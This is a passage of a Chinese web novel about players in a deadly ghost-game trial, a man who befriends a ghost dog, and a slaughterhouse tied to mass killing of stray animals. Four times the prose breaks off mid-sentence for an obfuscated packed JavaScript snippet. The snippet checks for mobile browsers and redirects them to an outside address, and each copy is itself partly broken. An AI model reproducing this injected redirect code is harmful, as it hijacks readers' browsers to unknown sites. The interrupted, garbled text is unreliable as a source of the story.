哪怕是一些早已自暴自弃,认为地球救不回来的悲观厌世者,也不会拒绝观看直播。 至于成功首通试炼的玩家们,亦会被剩下的人激动兴奋地捧上神位,大肆推崇。毕竟他们的举动会实实在在地造福数亿玩家,给予所有人希望。 只是一些极端的狂热团体也由此诞生,比如排行榜大佬的粉丝团,经常闹得不可开交。 “这……”新玩家后知后觉,“我们是不是也该关注一下那个直播间?” 话没说完,他身旁的老玩家眼见人潮稍微分散了些,立马双眼放光地冲过去,边挤还边喊:“让一让,麻烦让一让!刚才说的是哪个主播,让我记一下房间的ID号!” 新人:“……” 原来刚才没上去挤不是矜持,是因为人太多! 此时此刻,在场观众们的情绪已经被烘托到一个空前绝后的高度。 可他们怎会想到,主播根本没找到什么保命方法,是诡王懒得杀他。 哈? 那可是怨气冲天的诡王,主动放过玩家,你在开什么世界玩笑?! 可惜他们的骂声无法被试炼里的玩家听到。 这一队玩家的素质都比较高,有好几个经验丰富的老手,幸存者说话语无伦次,他们也没有着急。 “根据怪物杀人的手段和反应,我猜测那些可能都是它们生前的经历,幕后有喜欢虐.杀动物的变.态,哪怕不是BOSS,也一定是精英怪或者关键NPC。” “刚才搜索好几个小时,都没看到一只流浪猫狗,只是一个人的话,做不到这种程度。” “询问附近的商家和居民,最近有没有团伙作案、大肆捕杀流浪动物的事件发生。如果有人顾左右而言他,很可能就是参与者之一,等到夜深人静,我们再去好好询问一下。” 说到后半句话,语气生冷,让人不寒而栗。这是真正见过血的亡命之徒。 有人补充道:“如果只是普通的虐.杀事件,不可能诞生出A级诡王。” “对。”另一人接道,“我们以往也经历过类似的副本,最多也就出个B级BOSS,所以一定有着至关重要的隐藏剧情。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579654|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 为首的成熟冷面男再度看向地上的伤员:“诡王从幻境离开的时候,是什么样的情绪?高兴激动?着急愤怒?” 伤员仔细回想。 当时他的意识已经模糊,但有一个不同寻常的画面让他印象深刻,缓慢地从脑海中浮现。 ——高贵冷艳的巨兽趴在地上,浑身被不祥的黑雾笼罩,仿佛随时都会融入黑暗。 忽然,它毫无征兆地站起身,抬头望向远方的无垠空间,暴戾的眼神几经变幻,倏然温和下来。 “好像……是高兴。” 成熟男沉吟片刻,面向小队其他成员:“再来四个人,两人去宠物医院翻就医记录,两人去宠物用品店。如果有大量采购宠物用品的顾客,跟踪他,不要被发现,更不要出手伤人。” “如果我没猜错,那会是我们通关的关键。” 同一时刻,谢叙白笑着看向被闹麻的平安,温言细语地哄道:“乖啦乖啦,不烦你啦。” 他道:“老板给我放了个大长假,从明天开始我随时都能来看你。我给你买了超软的狗窝、饮水器和防雨棚,还有各种狗狗玩具和罐头,东西很多,老板说他能帮我送过来。” 狗子原本拿屁股对着他,气鼓鼓地缩成团,尾巴砰砰拍地。 一听到谢叙白能经常来,耷拉的尖耳朵瞬间弹高。 “到时候就可以给咱们的平安梳毛咯!”谢叙白揉它脸蛋,“我再找附近的人借下浴室,看能不能给你洗个热水澡。” “汪!” 谢叙白拍拍它脑袋,不留痕迹地瞥向周遭的居民楼,眼中笑意倏然消失,深沉冷静,好似潮浪涌动的大海。 那诡谲的念白再次响起。 【我也是最近才发现,自己是诡异世界的一个普通人。】 【超出认知的知识如同剧毒,会将人异化成容易失去理智的怪物,但我没有,我仍旧是个普通人。】 【这是否意味着,我能够无限地窃取、学习到那些禁忌知识?我最后是否会变成任何人都无法想象的形态?】 谢叙白没有理会这几句念白。 他现在唯一在意的,只有平安。 为什么平安无法离开这个巷子,为什么居民对它厌恶至极,又有哪些人伤害了它? 仿佛应召着谢叙白强烈的念头,一幕幕曾经发生的事飞快从眼前闪过,就像走马灯。 那都是些稀疏平常的琐事,但谢叙白直觉里面隐藏着重要信息。他看得仔仔细细。 最后,镜头定格在今早坐上公交车的一瞬间。 从左往后,依次是葱郁静立的树,枝头的麻雀在啼叫,行人神色匆匆地走过。 有个胖男人靠在站牌的角落,全程戴口罩,挡住脸。 车过去了一辆又一辆,但那人不上车。直到他上车时,才前倾身子,目光像黏腻阴冷的毒蛇。 记忆忽然变得有迹可循。 哪怕是一些当时忽略的细节,也会停靠在潜意识的海洋里,随他取用。 【今天上班的时候,我感觉有一道强烈的视线在暗中关注我,充满怨恨、不甘,仿佛我坏了他的好事,可我很少与人交恶。】 【那人会是谁呢?】 8. 第八章 几十分钟后,谢叙白忽然接到宠物用品店老板的电话。 对方态度诚诚恳恳,歉意地表示店员突然有急事要回老家,问谢叙白是否方便,他们现在就把东西送过去。 东西是回来路上下的单。 考虑到他会和狗子玩一会儿,谢叙白特意叮嘱他们晚两三个小时再送,现在确实有点早。 但没办法,家里没人收货,只能先回去一趟。 挂掉电话,狗子平安似乎意识到他要离开,一个劲儿地盯着他看。 谢叙白被看得心软,半蹲的身子前倾:“来个分别仪式,蹭蹭头?” 他闭着眼睛等待。大概十几秒后,才感觉到一个毛绒绒的脑袋迟疑地贴靠上来。 从下巴左边蹭到右边,来来回回,饱含不舍。 “我晚上再来。”谢叙白向它保证。 一直看着青年的背影消失在街道尽头,狗子才缓缓收回目光。 ‘保护好他。’它朝墙壁阴暗处抬了抬下巴。 几道小影子从中蹿出,追着谢叙白离开的方向而去。 谢叙白的家离小巷有两条交叉马路的距离,走路大概十分钟,不近也不远。 他刚一进小区,就远远看见一辆写着“使命必达”的送货车停在自家楼下。 送货员站在车旁边,边看手机边看楼,似乎等了很久。 居然来得这么快?谢叙白有点诧异,加快脚步赶过去。 就在隔壁楼的树荫中,两个陌生的一男一女正在监视他的到来。 女的穿粉色卫衣,长发高马尾,看着像大学生。男的穿夹克,短发纹理烫,眼神中有股社会青年的混不吝。 见谢叙白出现,卫衣女眼神一亮,露出看见美丽事物的惊慕。 夹克男却手指一动,紧跟着位于谢叙白上方的花盆开始不稳摇晃。 ‘你在干什么?!’卫衣女反应过来,立时惊呆。 千钧一发之际,谢叙白像是被什么东西绊了一下,脚步刹停。 原本会砸中他脑袋的花盆,擦过他脸颊摔在地上,“嘭!”的一声,四分五裂,泥土飞溅。 送货小哥听到另一边的动静,赶快跑过来,见状着急地问:“谢先生,您没事吧?” “……没事。”谢叙白看着地上不剩全尸的花盆,掌心后背都是冷汗。 他反应很快,第一时间环顾周遭。 夹克男怕被发现,连忙把头缩了回去,啧一声:“还挺警惕。” 卫衣女说话依旧不敢太大声,朝夹克男怒目相视:‘严哥明明说过他是通关的关键,让我们不要打草惊蛇,更不能伤害他!’ “这么爱听他的话,怎么,他是你老子啊?”夹克男不屑地嘲弄。 “你!” 夹克男再次打断她的话,很不客气地说:“我想做什么需要你一个新人来多嘴?而且他严岳又算个什么东西,不过比我多两场通关次数而已,还真把自己当老大了?” 说着,他咧开嘴,笑容中透着血腥气:“再他妈多逼逼,信不信我现在就让你去见阎王。” 卫衣女触及他的眼神,想起那些残暴的传言,顿时一个激灵。 夹克男很满意她的识时务,自顾自地下达命令:“我刚丢了个鉴定术,那男的数值很低,试探过也没特殊能力,估计是个普通人。等过会儿送货员走了,直接潜进去将他掳走。” 卫衣女不敢苟同这所谓的“试探”,又没法忤逆他,于是埋着脑袋敢怒不敢言。 夹克男知道她在腹诽什么,冷笑。 他当然没那么蠢,二楼的花盆可砸不死人。 本想着砸伤谢叙白后,他再出场英雄救美,套线索时也能事半功倍,谁知道被这NPC侥幸躲了过去。 但他可不像严岳那个窝囊货,做什么都束手束脚。 一次不行,夹克男立马想来第二遍。 阴暗的念头刚从脑子里划过,忽然夹克男眼神一凝。他在正前方的花坛里发现一个瘦瘦小小的身影,正晦暗不明地往这边看。 尖牙利爪,毛发炸开,好像是只猫。 ……等一下,猫?! 这边的谢叙白正和送货员对接。 他忽然听到一声撕心裂肺的惨叫,神色一凛,说了句稍等,便朝声源处快速赶去。 还没到拐角,一阵浓烈的血腥味扑面而来。等看见现场,更是惨不忍睹。墙上地面溅满血,破碎的衣服布料四处都是。 就这个出血量,让人严重怀疑受害者是否还活得下来。 “怎么了谢先生……我的天啊!”跟过来的送货员腿软倒地,吓得全身直哆嗦。 “杀人了,杀人了啊——!” 谢叙白还没来得及开口,他便踉踉跄跄地爬起来,飞快跑没了影,送货车也不要了。 谢叙白:“……” 或许是刚才差点被花盆砸中,已经受过惊吓,他对面前这一幕接受良好,没觉得太惊悚。 谢叙白再次尝试拨打报.警电话,结果可想而知,“您所拨打的用户是空号”。 无奈,他只好先把货车上的东西搬上楼,还好都不重,有电梯。 只是这么来回折腾,也耗费了差不多一个小时。 等谢叙白再回到“凶案现场”的时候,那滩血液已经消失得无影无踪,但地面却暗了一个色调,透着不祥的深红色,好像吞噬了那些血液。 谢叙白默了默,给宠物用品店老板发了条消息,让他派个人来把车开走。 “刚才花盆落下来,有谁拉了我一把,是你们救了我,对不对?” 谢叙白看着空地,周围悄无声息,没有任何回应。 他也不着急,打开几个罐头,放在地上,往前一推:“谢谢你们,这是谢礼。” 然后挪开视线,静静地等待。 五分钟、十分钟…… 就在谢叙白腿脚都快僵麻的时候,他听到身后隐约传来窸窸窣窣的声响,但他仍然保持着耐心,没有猝然转头去看,更没有贸然接近。 几只小动物进食的动作,也由一开始的小心翼翼,到逐渐放开手脚,大快朵颐。 很快,等到那几道微小的动静消失,谢叙白方才转过头。 罐头里还有肉,那肉惨白褪色,像冰箱里冻过几年的僵尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579655|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉。 谢叙白什么都没说,自然利索地收拾干净,再问道:“平安没法离开巷子,才拜托你们来保护我,是吗?” “喵。”角落传来轻轻的猫叫,仿佛在应和他的询问。 “辛苦你们了。”谢叙白说道,“刚才袭击我的人,你们知不知道他的下落?” 阴影里探出一颗圆滚滚的小脑袋,是只长相颇正的虎纹狸花猫。 见谢叙白不在意它们的存在,也没被吓着,大着胆子出现,冲青年摇了摇头。 谢叙白终于见到小影子们的真面目,摊开手往前伸,五指微微曲着,像抛进湖面的鱼钩。 小猫对上那双弯起的澄澈眸眼,迟疑地挪着步子。 一步、两步、三步……不多时,它来到谢叙白的手边,被那只温暖的大手一把“钓起”。 掌心抚摸脑袋,骨节分明的手指挠动颊边,小猫顿时舒服地眯起眼。 “咪——” 原来这就是王被摸时的感觉吗?还不赖—— “那人应该还会回来找我,我会给他创造接近我的机会。”谢叙白不紧不慢地说,“如果人真的出现了,麻烦你们提醒下我。” “喵嗷。”吃饱喝足的小猫咪满口答应下来。 第二天一早,谢叙白特意找到一家书店,进去逛了逛。 阳光透过窗户照射进屋内,空气中漂浮在细微的浮沉。 现在看纸质书的人很少,书店也一如既往的冷清、僻静,很容易注意到周遭不和谐的动静,同时也方便给人搭讪的机会。 没让他等多久,一声压抑着异样的呼声在身边响起。 “呀,帅哥你也喜欢狗狗吗?我也是!” 谢叙白捧着本《宠物狗饲养手册》,看到来人时,有些意外。 他以为自己能引出鬼鬼祟祟的胖男人,真正现身的却是个穿着粉色卫衣的女大学生。 这又是谁? 恰是这个时候,他藏在身后的小手指被猫爪子摸了摸。阴魂们在提醒他,这是昨天的袭击者。 袭击者,但身上没有伤,是同伙吗? 这些袭击者和胖男人有什么关系? 脑中思绪百转,谢叙白脸上却一点没有显露。他好似没有看见卫衣女眼中的忌惮和恐惧,顺口接话:“是啊。” 笑容恰到好处,不热络也不疏离,是面对陌生人的正常反应。 卫衣女努力扬起嘴角,笑得很勉强,和谢叙白对比明显。 “我、我也很喜欢狗狗,之前在这附近看到一条大黑狗,本来想收养它的,可是最近怎么都找不到它,连其他流浪猫狗都不见踪影。你知道是怎么回事吗?” 磕磕巴巴地吐出最后一个字,连卫衣女自己都觉得生硬、拙劣。 可青年像是什么也没发现,将书放回书架上,同样苦恼:“没有,我也很纳闷,因为我想养的那只流浪狗也不见了。要知道我之前还购买过很多罐头和狗狗用品。” “你在找它们,对吗?”谢叙白诚恳地看着卫衣女,“可不可以让我跟你一起找?” 本想从谢叙白身上套线索的卫衣女:“……欸?” 9. 第九章 这怎么可以?卫衣女想也没想就要拒绝,直到从微型耳麦中传来的声音让她动作一顿。 ‘答应他,你对这里不熟悉。’ 谢叙白注意到,卫衣女明显先做了一个拒绝的手势,却在中途硬生生地更改。 有谁在幕后指挥她? 加上一个重伤的袭击者同伙,他们到底有多少人? 两人各怀心思,一并寻找这附近的流浪猫狗。 谢叙白知道那些可怜的小家伙已经被捕杀,其中几只就跟在他的身边。 卫衣女为了获取线索,倒是找得勤快,挨家挨户地敲门询问。 于是谢叙白又发现一个问题:女生不熟悉道路,如果不是他在旁边提醒,能绕上好几圈。 ——她,或者他们,不是住在这附近的人。 忙碌一上午,一无所获,卫衣女难免垂头丧气。 “啊,谢谢!”见谢叙白从商店回来,递过来一瓶水,卫衣女有些受宠若惊地接过,大概是口干舌燥得厉害,咕噜咕噜下去一大口。 ——没什么警惕心。 卫衣女喝完后,才有些意外地问:“怎么是热的?” “气温还没升上去,一些店家会提供热饮。”先前的淡然全然不见,谢叙白弯起眼睛,一副知心体贴大哥哥的模样,“身体不舒服的话,喝点温热的比较好。” 卫衣女被他温柔的笑眼注视着,忽然发应过来,脸颊涨红:“你怎么知道……” “我有个表姐,每个月的那几天都会腰酸背痛,我看你走路时偶尔会揉腰和捂住肚子,和她的情况很像。”谢叙白笑笑,和她商量,“我也走得有点累了,咱们先休息一下吧?” 见谢叙白脸不红气不喘,卫衣女哪里不知道青年是在为自己考虑,顿时露出感激的神色:“那我们先休息十分钟,十分钟后再继续找。” 原本对谢叙白的恐惧在不知不觉中消散,甚至多了点信任。 ——性格还很单纯。 谢叙白垂眸沉吟。 若不是确定小猫不会骗他,他怎么也不会把眼前的天真大学生,和昨天罔顾人命的袭击者联系在一起。 这让他不由得怀疑起袭击者背后的成分。 ——几名为了某个共同目的,被迫组建在一起的外地人,当然会鱼龙混杂。 ——从流浪猫狗下手,难不成这些人的最终目标是平安?找到他,是想要利用他接近平安? 卫衣女全然不知道,就这半天的接触时间,谢叙白已经差不多摸清他们身为玩家的老底。 休息没几分钟,卫衣女忽然神色焦急地站起身,只因耳麦中响起的震吼。 ‘城区西郊屠宰场,我们撞见了大量怨魂,其他人速度过来支援,快要撑不住了!’ 来不及多解释什么,卫衣女匆匆对谢叙白说了一句:“糟糕谢大哥,我突然想起家里的煤气好像忘了关,我先回去了!” 话音未落,她猛跑出去,速度出乎意料的快,三两下没了踪影。 谢叙白当然选择跟上去。 按照阴魂们的指示,很快来到西郊屠宰场的位置。 这里比狗子平安所处的地界还偏,是真正的郊外,四周荒无人烟,道路上铺满碎石子,杂草疯长,蹿起来有半人高。 在道路的尽头,屹立着一家大型屠宰场,从修建规模不难看出昔日的繁华。 但如今这家屠宰场已经倒闭,门岗处无人,墙壁泛黄,红漆掉落,铁制大门上满是锈迹,一股破败荒凉的气息随之扑面而来。 谢叙白被屠宰场内的剧烈战斗声吸引,抬眼看去时,瞳孔凝滞。 他看见无数漆黑的怨魂汇聚在一起,无一例外都是犬类阴魂,张开獠牙,狞笑嘶吼,几乎将半边天空遮盖得密不透风。 一群奇装异服的人位于怨魂围聚的正中央,神色凝重,手中光芒大绽,仿佛具有实质性的穿透力,将面前的怨魂一击轰散。 双方打得热火朝天,招招都下了死手。 那些是什么?符箓?道术? 为什么挥出去的剑还能发出亮白的剑气? 就连看起来无害的卫衣女,竟也掏出一叠黄色符纸,无缝衔接地加入了战斗。 整场看下来,谢叙白只感觉自己的世界观再一次遭到重塑。 怨魂虽然数量众多,但不是那群异人的对手,渐渐落于下风。 眼见又一只怨魂被打散,谢叙白下意识护住袖子里的几缕阴魂,皱着眉头,犹豫自己该不该继续留在这儿。 忽然,屠宰场的角落出现一道肥壮的身影。对方探出上半身,神情沉郁,和谢叙白一样在暗中观察场上的形势。 哪怕对方之前戴着口罩,凭这鬼鬼祟祟的姿态,谢叙白也一眼认出,这就是曾经跟踪自己的胖男人! 居然能在这里遇到对方? 谢叙白垂眸思虑再三,改变撤退的想法,压低声音对阴魂们道:‘你们留在这里,别被他们发现。不管一会儿我伤得有多重,都千万别出来。’ 小猫小狗们预料到他要去做危险的事情,连忙叼住他的衣服。 青年安抚地拍拍它们脑袋。 视线转到屠宰场。 纵观战斗的这群人,卫衣女的手法显得极其生疏,比起技巧,完全是靠手中的符纸才将怨魂顺利击退。 但符纸总有快用完的时候。 不多时,其他人注意到她的到来。见卫衣女陷入苦战,有人冷眼旁观,有人暗含讥讽。 为首那名长相成熟的冷面男,是唯一一个感到震惊且露出担忧的人。 眼见一只怨魂偷偷绕到卫衣女的背后,张嘴露出血盆大口,他喊道:“许清然躲开!” 卫衣女只来得及视线往后移,而尖锐的獠牙已经抵在她的咽喉。 千钧一发之际,一个谁也没想到的瘦削身影从旁冲出,将许清然一把推开! 许清然认出救命恩人,惊喊道:“谢大哥!” 来人正是谢叙白,他替许清然挡下一击,手臂被獠牙刮出一道狰狞的口子。那口子不深,痛感也不明显,却有一股难以抵挡的阴寒之气顺着骨头窜入五脏六腑。 谢叙白如同落入千年冰窟,被冻得脸色苍白,眼睫轻眨,竟结出些许洁白的冰霜! 他看着震惊得无以复加的许清然,勉强露出一个庆幸的笑:“还好,你没事……” 话音未落,青年意识不清,身体摇晃,重重地倒了下去。 “谢大哥!”原本只是套近乎才叫出来的称呼,现在喊得情真意切。 许清然慌张地将他接在怀中,着急得不行,求助地环视众人:“谁有驱邪符?赶快拿出来呀!” 众人表现得很冷漠。 商店里的符纸道具都很昂贵,能保命的驱邪符更是两千积分一张,他们怎么可能为了一个NPC耗费掉宝贵的道具? 不仅不帮忙,还要嘴碎地嘲讽许清然是不是昏了头。 “想什么呢?为一个无关紧要的NPC着急成这样,怎么不见你心疼一下其他受伤的队友?” “可他是关键NPC!”要不是还扶着谢叙白,许清然都想给他们一巴掌,“肖元就是因为袭击他才会被怨诡报复,万一他在这里出事,你觉得诡王会不会直接要了我们的命?” 众人脸色煞白。 眼看谢叙白呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579656|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越轻,几乎吓得灵魂出窍,热锅蚂蚁一样火速掏符纸:“这么重要的事情你这死丫头怎么不早说?!” 几张驱邪符唰唰唰贴在谢叙白的身上。 顾不上心疼道具,毕竟万一任务失败,所有的积分和道具都会被直接清空,他们也得重头再来。 纵观前几场游戏生涯,信奉明哲保身的玩家从来没有为想救一个人这么慌张过,更没有哪一刻像现在这样,真诚衷心地祈祷一个NPC平安无事。 总之,在众人期盼的目光下,谢叙白终于悠悠转醒。 刚睁眼,就迎来了几人热情的问候:“还好吗同志,感觉怎么样,有没有胸闷气短?要不要再吃颗活气丸?” 谢叙白轻眨眼睫,似乎茫然:“……什么丸?” 许清然懒得理他们,担忧且狐疑地看着谢叙白:“谢大哥,你怎么会在这儿?” “你走的时候很着急,我感觉你不是煤气没关,而是遇到了什么麻烦事……于是跟踪你来到这里。”谢叙白抿了抿唇,“对不起。” 青年虚弱地躺靠在地上,手臂伤痕未消,浮现出乌紫的瘀痕,脸色很白,唇瓣更是失去血色,接近透明。 许清然看得心软,当即说道:“没有,要不是谢大哥救下我,现在生死不明的就是我了。” 其他人没有吭声,与关键NPC交好有可能提高通关率,组队模式奖励共享,他们对此情景乐见其成。 至于自作主张袭击谢叙白的肖元,没人想给他报仇,让他哪儿凉快去哪儿呆着吧。 胖男人便是赶在这时候出现,仿佛看见救星一般,嘴里囔囔着感激涕零的话:“诸位高人,还好有你们出手相助,不然我家场子就真完了!” 冷面男收回打量谢叙白的眼神,审视地看着胖男人:“你是?” “我是这家屠宰场的老板,被那些鬼东西骚扰很久了。”他苦脸说着,转向谢叙白,忧心忡忡,“涉及神鬼邪说,去了医院也没用。小兄弟快进来休息吧。” 在胖男人的印象中,谢叙白根本不认识自己,自以为只要堆出笑脸,就能蒙骗对方。 殊不知谢叙白早已认出他,轻易看出那憨厚老实的外表下,藏着一张充溢着歹毒怨憎的嘴脸。 “不麻烦,我得先回家,明天还要上班……”话没说完,好不容易撑起身子的谢叙白又是一个踉跄。 其他玩家那叫一个心惊胆战,纷纷劝说:“工作重要还是命重要?”“是啊,你先好好休息,养好身子再去上班。”“医药费可比工资高多了。” “谢谢,这还是第一次有这么多人关心我。”谢叙白状似感动,话里话外透露出对他们的亲近。 玩家们哪会反驳,个个都表现得和颜悦色。 胖男人看在眼中,十分惊讶。他跟踪过谢叙白一段时间,知道对方和这群人只是刚认识,没想到已经结下这么深厚的友谊。 这让原本想对谢叙白直接下手的他,立时变得有些投鼠忌器。 可他必然不能放过对方。胖男人眼珠子骨碌一转,忽然热情洋溢:“诸位高人看起来才到本地不久,不知道有没有落脚的地方,不如都来我家,场子里足够大,可以免费提供食水住宿。” 冷面男见他恳切挽留,试着套话:“因为我们帮你除掉了那些怨魂?” “诸位帮我解决大麻烦,肯定要好好答谢大家。”胖男人演技爆发,脸上肥肉一抖,挤出个苦笑,“其实,我还有一个不情之请。” 一般这么说,都是剧情展开的先兆。玩家们立时来了兴致:“说说看。” 胖男人道:“我想拜托你们,帮我除掉这一带祸害众生的诡王。” 10. 第十章 走进屠宰场,即使厂房车间早已不用,内部也充斥着一股腥臭难闻的气味,叫人下意识皱眉。 谢叙白被许清然扶到床上躺着,虚弱乏力的样子叫人生不出警惕心。 冷面男没有直接露底,状似疑惑地询问胖男人:“你说这一带有诡王出没?” “对。”胖男人抹了一把脸,几乎声泪俱下,“那只诡王原是这附近的流浪狗,生前就极其凶恶,伤过不少人。大家想尽办法,好不容易才除掉那只祸害,哪知道它命格特殊,天生自带煞气,居然在死后化为恶诡继续作孽,到目前为止,已经有不下十个人遭遇不测!” “我看各位神通广大,对付那些凶恶的怨魂也不在话下,这才请求你们帮忙。诸位放心,一旦祸害被除,我会奉上丰厚的报酬,不会叫高人们白干。” 玩家相互看了一眼,没说信或是不信。 冷面男眯起眼睛,向他提出一个犀利的问题:“在此之前,你不如先告诉我,为什么你家会出现那么多怨魂?” 胖男人无奈地道:“干屠宰场的,手里哪能不沾点怨气?” 可冷面男仍旧摆出狐疑的神色,盯着他看。 看着看着,似乎把胖男人看心虚了,嚅嗫嘴唇:“其实……唉!如果我把真相告诉你们,能不能请大家不要说出去?” 玩家满口答应,信誓旦旦地保证自己守口如瓶。 于是胖男人支支吾吾地说出了“真话”。 “我们这儿的流浪动物早前闹过疯病,为了杜绝隐患,抓狗大队就把所有猫猫狗狗都抓了,但又不好当着市民的面把它们扑杀……那些人会闹啊,说什么残忍、冷血,简直是放屁!畜生的命哪有人重要?” 胖男人一脸义愤填膺:“于是我就暗中接下单子,让他们把疯猫疯狗带到这里来处理,正好厂里有完善的消杀场地。至于被误杀的动物……那也是没办法的事,可能就是因为这样,这家屠宰场才会被怨魂记恨上。” “要按你这么说,你做的明明是为民除害还不揽功劳的好事。”冷面男问,“为什么怕被人知道?” “屠宰场处理疯猫疯狗,要是被人知道了,我家的肉还怎么卖得出去?”胖男人长吁短叹,脸上苦意更浓,“但现在这情况也好不到哪儿去,工人要么被怨魂所害,要么被吓得不敢再来,场子经营不下去,只能倒闭。” 纵观胖男人的这番说辞,似乎都能自圆其说,找不出错漏。 为了取信玩家一伙人,胖男人还道:“如果你们不信,可以去网上搜索一下当地疯狗伤人的新闻,我发誓刚才说的全是实话。” 说着,他便离开了,说是为舟车劳顿的玩家们准备食水。 等门外再也听不到脚步声,冷面男才回头询问其他人:“你们觉得他刚才说的那番话有几分可信?” “真七假八。”一名玩家撇了撇嘴,“单看刚才怨魂的规模,可不是简简单单误杀十几二十只能造成的。” “但疯狗伤人这事确实是真的。”一个正在上网翻看新闻的玩家说道,“来看看这一条……x月x日下午,恶狗集体发疯,街道内咬伤17人,其中12死5伤。” “我这也搜到一条,也是这座城市近期发生的恶犬伤人事件,死伤超过20人,两条新闻发布时间相隔不到十天。” 诸如此类的新闻,越搜越多,玩家们不由得陷入沉默。 发生如此恶劣的疯狗伤人事件,作为病毒携带体的流浪猫狗遭到大量扑杀也无可厚非。 他们是人,实在要去选一方共情的话,肯定会站在同类的立场。 “而且你们有没有注意到,我们这次的副本名叫《犬害》。我刚才一并搜索,出来的全是关于古时候犬害闹人的危害事件。” 这名玩家将手机交给其他人传阅,脸色凝重地看向冷面男:“严会长,说句冒犯的话,我们一开始的追查方向或许出了问题。” 话音未落,一个穿冲锋衣的板寸男便急头白脸地接嘴:“没错,这些猫狗根本不无辜,活该被虐.杀。” 他更是大大地翻了个白眼,意有所指地看向严岳:“我早就说过,什么无辜性命被害然后变诡报复,那些都是老掉牙的剧情,A级诡王副本怎么可能这么简单?” “要不是我们在搜索过程中发现这家屠宰场,触发隐藏剧情得知真相,恐怕大家最后都得玩完!” 作为开场就被玩家票选出来的临时队长,严岳自是考虑颇多,深谋远虑。 他直觉这里面还有蹊跷,但看其他玩家心生动摇,为了稳定人心,终是松了口:“A级诡王副本不同以往,不排除有误导玩家的可能。” “但老板依然有问题,刚才的怨魂规模需要我们合力才能击退,他身为被仇恨的对象,居然能完好无损地活到现在。”严岳冷声道,“以防万一,我们需要仔细调查一下这家屠宰场。” 玩家们纷纷应和,没有意见。 除了刚才叽叽歪歪指责严岳的板寸男,大手一挥指向谢叙白:“你说要调查老板和屠宰场,我没意见,但这个小白脸要怎么处理?” 他话里话外都是恶意。要不是许清然说这小白脸是关键NPC,他怎么会浪费一张驱邪符? 尤其是,许清然一个新人玩家,除了长得有点姿色外,只会拖后腿,这种时候不讨好他们,居然转头对着一个NPC献殷勤!有没有把他们放在眼里? 许清然看出板寸男心生歹念,心脏一咯噔,下意识挡在谢叙白的面前:“你想干什么?” 严岳忽然开口,语气带着不容置疑的威严:“想做什么都给我忍住!就算真相有反转,这名NPC也是被诡王在意的关键人物,还有利用价值。” 板寸男被严岳冷若冰霜的眼神看得一激灵,又为自己居然会害怕而感到恼火,不甘示弱地道:“那也不能就这么放着,怎么也得上点控制人的手段,不然这个NPC到时候给我们下绊子怎么办?” “行,那你去吧,我记得你有控制类道具。” 严岳很是干脆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579657|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还让许清然一起让开,反而让想要惹是生非的板寸男立马刹住脚:“凭什么让我上,你们不上?” 其他玩家眼观鼻鼻观心。 这不是废话吗,都说过谢叙白有诡王罩,谁想当第二个被报复的肖元? 板寸男也想到这茬,瞬间上也不是,不上也不是,表情极其尴尬且扭曲。 在严岳的安排下,玩家两两组队出去调查,但这家屠宰场的怨魂数量远超他们的想象。 怨魂卷土重来,声势更加浩大,原本留守的玩家也被叫走支援,只剩下许清然一人留下来照顾谢叙白。 也是这个时候,谢叙白悠悠转“醒”。 “啊,你终于醒了!”许清然很是惊喜。 谢叙白撑着额头坐起身,眼角余光瞄见女生往杯子里加了什么东西,不动声色地扭头看向昏暗的窗外,惊讶地高呼:“天啊,都快晚上了,我这是睡了多长时间?” 许清然闻声回头。 刹那间,几缕阴魂出现在许清然的手边,不着痕迹地将两杯水调换位置。 “没关系,你受伤了嘛,多睡会儿有助休养。” 许清然笑着道,视线落在手里加了料的水杯上,笑容微滞,想起严岳临走时的叮嘱,不由得抿了抿唇。 这里面放着无色无味的安神类药.物,对疲累、受伤的人效果加倍。让谢叙白保持昏迷状态,是他们想到的最佳控制手段。 深吸一口气,许清然笑着将杯子递给谢叙白:“来,先喝点水。” 谢叙白抿了口水,见许清然也顺势喝下,再次转向窗外:“我听到了打斗声,他们是不是又在和……和那种可怕的诡魂战斗?你们到底是什么人?” “我们是玩家。” 